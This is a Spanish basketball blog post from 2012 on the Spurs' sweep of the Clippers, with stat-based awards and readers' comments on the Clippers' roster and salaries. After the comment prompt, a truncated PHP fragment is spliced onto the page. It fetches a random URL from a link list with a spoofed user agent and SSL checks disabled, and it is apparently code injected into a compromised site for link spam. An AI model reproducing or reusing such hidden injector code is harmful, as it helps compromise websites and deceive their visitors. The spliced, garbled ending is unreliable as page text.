Resumen Spurs 4 – Clippers 0

22 de May de 2012 por TheDeerHunter

No ha habido serie. Cuestión de matemática pura y dura. Los Spurs ganaron el 76% de los partidos de regular anotando casi 104 puntos (han anotado esta serie 102) y encajando 96’5 (han encajado 91). Los Clippers iniciaban la postemporada con 97,5 puntos anotados pero encajando 95. Los tejanos han triturado a sus rivales en todos los aspectos. Apenas hemos reconocido al equipo que eliminó a los Grizzlies, mucho menos al que brillaba en algunas fases de la regular. Es indicativo que dos dignos equipos del oeste hayan parecido simples juguetes en manos de unos Spurs intratables.

Conviene señalar que los Clippers acumulaban los 7 choques a cara de perro de primera ronda. Es un factor a tener en cuenta, porque si los veteranos de Popovich mantienen las piernas frescas son un peligro demostrado. Pero es que uno, además, se plantea cómo es que el señor R.C. Buford no tiene aún un premio de Manager of the year con su nombre. ¿Cuándo es la última vez que disfrutó de una elección alta en el draft? ¿Duncan?

Atentos que vienen curvas: Splitter y Bonner = Mid level; Leonard, contrato de rookie; Blair, Neal, Green y Diaw menos de un kilo. TOTAL: 52 puntos por partido, 26 rebotes, 12 asistencias… Súmale un Manudo sano, a Duncan como en sus años mozos y Parker en pugna MVP. Bonner, Blair o Stephen Jackson son los últimos elementos de la rotación. Aquí hay mucha artillería. Una salvajada.

Esta postemporada estamos saturados de ver equipos con especialistas exclusivamente defensivos que apenas miran aro junto a dos o tres “bichos” que se las juegan todas. Los propios Clippers concentran mucho su juego ofensivo en ciertas piezas mientras gente como DeAndre Jordan, Kenyon Martin o Reggie Evans que ni se plantean lanzar.

Sin embargo el equipo de Popovich, quién lo iba a decir, es una especie de baloncesto total. Todo el mundo es capaz de anotar, pasar, rebotear, defender… Sus porcentajes de acierto son casi absurdos. Eficaz juego interior, letal perímetro, increíble segunda unidad. Su suficiencia es insultante. Ninguna fisura.

Lógicamente perder de esta manera no es nada fácil. Nadie esperaba la mala serie de Chris Paul. Con él al máximo tampoco creemos que hubiera habido grandes diferencias. Quizá hubiéramos visto mejoras  de ciertos elementos, pero a este nivel los Spurs destrozan a cualquiera. Proyecto demasiado nuevo el de los Clippers. No hagamos sangre.

PREMIOS 

MVP: Maestro entre maestros. Quitémonos el sombrero ante la serie de Tim Duncan. 21 ptos, 9 rebotes, 3 asistencias, 2 tapones y 1 robo. 36 añitos de puro mito.

Rookie: El gran acierto de Bufford este año, Kawhi Leonard, termina con 10 ptos, 6.5 rebotes, 2 robos… Caron Butler aún se está preguntando qué le ha pasado por encima.

Sorpresa: ¿27 asistencias por partido, Daimiel? ¡Tiki-taka Popovich!

Decepción: Lo ha pasado mal Chris Paul, posiblemente por culpa de sus molestias. Si una de las claves era el enfrentamiento contra Parker el francés se lo ha comido con patatas.

Esfuerzo en vano: Blake Griffin ha sido de los pocos que ha escapado a la escabechina. 21 ptos, 8 rebotes, 2 asistencias, 2 tapones… pero más “en vano” imposible.

Comenta

11 comentarios a esta entrada

  1. Heineken dice:
    #1

    Lo de los Spurs…. sencillamente sublime.

      Citar

  2. Heineken dice:
    #2

    Respecto a Clippers, tienen que reestructurar un poco el equipo, no se si Billups al final se retirara o no pero visto el final de temporada y los playoffs de Bledsoe. Este debe ser su 6º hombre junto con Young en los puestos exteriores. Traspaso de Mo Williams ya!

    En cuanto a los interiores, K-Mart y Evans me parecen fundamentales en el equipo aportando defensa, intensidad y dureza a partes iguales, sin embargo si están estos sobra DeAndre Jordan y se antoja necesario otro anotador interior, ¿repescar al “hijo prodigo” Kaman?. Si siguen dándole un voto de confianza a Jordan, entonces tendrán que buscar algo más barato que Kaman, y ahí veo difícil encontrar algo.

    Además el agujero en el puesto escolta-alero es importante. Foye te puede servir para salir del banquillo, pero no de titular y Butler… las lesiones le han pasado factura, pero sin un recambio para el alero decente (Young es un escolta tirador y Gomes… me parto el pecho con Gomes xD). Se echa en falta otro jugador “intenso” para este puesto.

    Así que en mi opinión tendrían que usar a Mo Williams y Gomes (sus contratos me refiero que son de 8 y 4 kilos) para traerse a Kaman y un alero suplente. Además Foye termina contrato, y bueno, Evans, Martin, Billups y Young también…. tendrán que moverse bien.

      Citar

  3. Esteban dice:
    #3

    el futuro de los clippers esta claro por mas alla de la barrida, este año terminan contrato young, foye, martin y evans, cerca de 10 millones de expdiring,

    y yo creo que Mo no esta muy contento con su semi rol, ahora compartiendolo con bledsoe, por lo que creo que no usara su opcion de jugador, y dejara otros 9 millones mas de expiring

    deben aplicar la anmistia YA a gomes y sus 4 millones totalmente desperdiciados

    23 millones para fichar a yo iria a por o.j. Mayo, renovaria si es barato a young, dejaria a bledsone de base supmnete, y haria ofertas por el minimo a martin y evans, quiza a martin algo mas que el minimo

    heineken, creo que los 10 millones que le firmaron a jordan hace imposible la llegada de otro buen pivot, kaman andara por lo 10 millones este año, imposible

      Citar

  4. GreenPride dice:
    #4

    Serie decepcionante la que han disputado Spurs y Clippers por la gran superioridad de los primeros. Simplemente los Spurs han sido mejores en todo que los Clippers. Es cierto que el equipo de Pop está haciendo un basket muy dinámico y atractivo (parece mentira decir esto) y en el que todos sus jugadores son peligrosos en ataque para el equipo contrario. Lo mismo te mete un triple Leonard, que te postea Duncan, que una penetración de Manudo, un triple de Neal, una continuación de Splitter y seguir y seguir… mucho movimiento de balón y cualquiera anotando lo que provoca muchísimos dolores de cabeza en las defensas rivales que no saben cómo pararles. En los Clips, CP3 tuvo una serie más bien nefasta quitando el último partido y se vio claramente superado no por Parker sino por todo el entramado spur (gran defensa conjunta con Green sobre él). Y ya se sabe lo limitados en ataque que están estos Clippers sin CP3 a pleno rendimiento. Sólo los arreones anotadores de Griffin, Young o un gran Bledsoe les han acercado de vez en cuando a alguna victoria que en general han visto de lejos.
    Ahora llega la verdadera eliminatoria para los Spurs. Veremos si este baloncesto imparable (18 victorias seguidas) les sigue llevando con esta facilidad camino del anillo o si en las finales de conferencia encuentran un rival a su altura. Yo Creo que esta vez sí tendran un rival de verdad enfrente y que las finales de conferencia pueden ser apasionantes. Esperemos que así sea

      Citar

  5. Esteban dice:
    #5

    un equipo tan compensado y largo como los spurs, frente a un equipo que tiene a cp3 y a una grata sorpresa como griffin, el resto es lo que surga del banco y como esten enrrachados, no hay equivalencias

    los clippers llegaron hasta donde les dio el cuero, imposible llegar a una final de conferencia con butler a bajisimo nivel, foye que es foye, tirador de rachas a pie firme cosa q pasa poco en PO, y deandre jordan, malo en atauqe, en rebotes, sin conceptos en defensa y q solo sabe volcarla y meter tapas, LOS TRES TITULARES!!!

    mala serie de cp3 desp de su show frente a menphis, las lesiones le han pasado factura, mioentras que los spurs tomaron nota de la serie y todas las defensas fue un solo objetivo, MARCA A PAUL, y bueno, sobretodo en los finales de juego se a notado q se enfretaba a 5 spurs

    una cosa que quieroo destacar, GRANDES PO de griffin, por ensima de las expectativas

    tuvo una regular muy mediocre, bajando sus numeros en puntos y reboptes en comparacion a su año rookie, tiro peor aun desde la linea, nunca se mostro consistente en el tiro a distancia, en fin lo mismo que el año pasado

    a mi me ha sorpendido, tuvo un jeugo de 30 puntos y 15 rebotes frente a menphis y uno de 28 puntos y 16 rebotes frente a los spurs, en lo que han sido seguramente sus dops mejores partidos del año, y no solo por contexto, sino tamb en numeros, aunque parezca raro GRIFFIN no ha firmado numeros asi muy seguido durante el año
    se ha mostrado como un jugador util, no mas que bosh, amare o boozer, pero bueno, no es poco, no todos los años sale un duncan, sahq, kobe, lebron, dirk, billips, pierce o wade (los pocos MVP de finales desde la deaparicion de jordan en el 98)

      Citar

  6. Heineken dice:
    #6

    Esteban:
    el futuro de los clippers esta claro por mas alla de la barrida, este año terminan contrato young, foye, martin y evans, cerca de 10 millones de expdiring,

    y yo creo que Mo no esta muy contento con su semi rol, ahora compartiendolo con bledsoe, por lo que creo que no usara su opcion de jugador, y dejara otros 9 millones mas de expiring

    deben aplicar la anmistia YA a gomes y sus 4 millones totalmente desperdiciados

    23 millones para fichar a yo iria a por o.j. Mayo, renovaria si es barato a young, dejaria a bledsone de base supmnete, y haria ofertas por el minimo a martin y evans, quiza a martin algo mas que el minimo

    heineken, creo que los 10 millones que le firmaron a jordan hace imposible la llegada de otro buen pivot, kaman andara por lo 10 millones este año, imposible

    Suponiendo que renuevan a Martin y Evans por el mínimo.
    Gomes sera expiring el próximo año, pueden usar eso para traspasarlo y usando eso y lo de Mo Williams son 12-13 millones, + 4 de Foye + 4 de Young.

    De entre Young y Foye, quedarse uno de los dos siempre y cuando no pidan más de 6-7 millones por año. Eso te deja 14-15 millones para (Un escolta titular, un alero suplente y un interior anotador).

    Lo del interior anotador… pues igual suena a chiste… pero un traspaso con Wizards?? DeAndre Jordan x Nene Hilario? A lo mejor cuela xD. Sucediendo esto, ya puedes irte de cabeza a por OJ. Mayo ofreciéndole sus 10 millones y te quedaría dinero para mejorar el banquillo.

    Quedaría algo así…

    Paul-OJ Mayo-Butler-Griffin-Nene Hilario
    Bledsoe-Young o Foye- (Alero a fichar) – Evans- Kenyon Martin

      Citar

  7. Esteban dice:
    #7

    eso si suena bien, pero dudo que alguien quiera a jordan luego de lo visto en estos PO, sencillamente no da la talla, tiene demasiadas falencias de demasiadas cosas, ataque sobretodo, faltas tontas, concepto etc

    por otro lado, si bien Mo jugo un regular fantastica y respondio en ciertos partidos de PO, no hay demasiado equipo que necesiten un base, y menos a 9 millones al año es demasiado caro, quiza si los suns si se va nahs o mavericks si no consiguen a deron, pero tamb es complicado encontrar un jugador justo para intercambiarlo, ya que los clippers tienen necesidades muy precisas y 9 millones es mucho dinero para un solo jugador si no es exactamente lo que buscas

    por otro lado y jugar mas al dia, podria ser quedarse con mo, bledosoe y young, mas los internos del banco y jugarse con un escolta veterano, como hicieron los bulls, RAY ALLEN o JASON TERRY, el dinero saldria del expiring de foye y la anmistia a gomes

    me seduce mas la idea de Mayo, por que le veo mucho futuro a ese chavel y tamb presente, creo que es lo que necesitan los clippers

      Citar

  8. Uno cualquiera dice:
    #8

    Esteban:
    no todos los años sale un duncan, sahq, kobe, lebron, dirk,billips, pierce o wade (los pocos MVP de finales desde la deaparicion de jordan en el 98)

    Cambia a LeBron por Parker.

      Citar

  9. HisRoyalAirness dice:
    #9

    A Buford no había que darle un MOY sino una estatua de oro macizo por haber creado un Big Three…con 2 elecciones de segunda ronda!!! Los mayores robos de la historia del draft? Yes sir

      Citar

  10. HisRoyalAirness dice:
    #10

    Miento, Parker fue el último de primera ronda

      Citar

  11. Ru dice:
    #11

    Autoridad aplastante de SAS en esta serie.Muchos dirán que su prueba de fuego será contra los Thunder pero no hay que hacer de menos que el equipo viejo y cascado ha acabado siendo el mejor de la competición,que han acabado con el poderoso juego interior de Jazz y que se han merendado a los pujantes Clippers.Pedazo final de conferencia la que se avecina.

    Por parte angelina,afea su temporada la manera de despedirse,un rosco a estas alturas duele,pero creo que deben estar contentos y tal como dije cuando eliminaron a Memphis,el traspaso de CP3 está totalmente justificado y ha sido un grandísimo negocio para los Clippers.Se han colado en PO y han llegado a semis de conferencia en su primera temporada real.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>